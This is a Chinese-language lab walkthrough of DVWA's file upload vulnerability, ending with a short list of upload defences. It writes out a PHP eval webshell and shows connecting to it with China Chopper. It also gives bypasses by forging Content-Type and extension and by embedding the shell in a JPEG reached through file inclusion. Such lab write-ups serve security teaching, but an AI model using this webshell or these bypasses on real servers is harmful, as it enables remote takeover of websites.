文件上传漏洞
文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞
文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知
LOW级别漏洞利用
编辑一句话木马
1.php1
2
3<?php
@eval($_POST['cmd']);
?>
上传

中国菜刀链接
webshell指定连接目录为
http://172.16.12.89/hackable/uploads/1.php,参数为cmd,类型为PHP(eval)
双击新添加的条目

获取目标站点目录访问权限

模拟终端

Medium级别
Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型(Content-Type)必须是jpeg或者png,大小不能超过100000B(约为97.6KB)
抓包修改文件类型
一句话木马不受大小限制影响
将
1.php更名为a.png上传
a.png,抓包
修改上传文件后缀名

上传成功

中国菜刀连接
指定连接目录为
http://172.16.12.89/hackable/uploads/a.php,参数为cmd,类型为PHP(eval)
High级别
High级别的代码读取文件名中最后一个.后的字符串(文件后缀名),期望通过文件名来限制文件类型,因此要求上传文件名形式必须是*.jpg、*.jpeg 、*.png之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型
什么是文件头
文件头是位于文件开头的一段承担一定任务的数据,一般都在开头的部分
文件头就是为了描述一个文件的一些重要的属性,文件头告诉了打开并处理该文件的程序这些属性
常见文件的文件头(16进制):
JPEG (jpg),文件头:FFD8FFPNG (png),文件头:89504E47GIF (gif),文件头:47494638HTML (html),文件头:68746D6C3EMS Word/Excel (xls.or.doc),文件头:D0CF11E0Quicken (qdf),文件头:AC9EBD8FZIP Archive (zip),文件头:504B0304RAR Archive (rar),文件头:52617221可执行文件(
EXE),文件头:MZ
将木马隐藏在图片中绕过(文件上传+文件包含)
使用
copy将木马文件a.php与图片文件1.jpg合并
1
copy 1.jpg/b+a.php/a a.jpg

可以看到,一句话木马被添加到图片的尾部

上传成功

利用
high级别文件包含漏洞读取图片马
中国菜刀连接
1
http://172.16.12.83/vulnerabilities/fi/?page=file:///opt/lampp/htdocs/DVWA-master/hackable/uploads/a.jpg
注意,应设置请求头中包含
cookie值
连接成功

Impossible级别
Impossible级别的代码对上传文件进行了重命名(改为md5值),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件
文件上传防御
文件扩展名在服务器端使用白名单进行校验
文件内容在服务器端进行校验
对文件进行上传重命名
隐藏文件上传路径
文件上传目录权限为任何人不可执行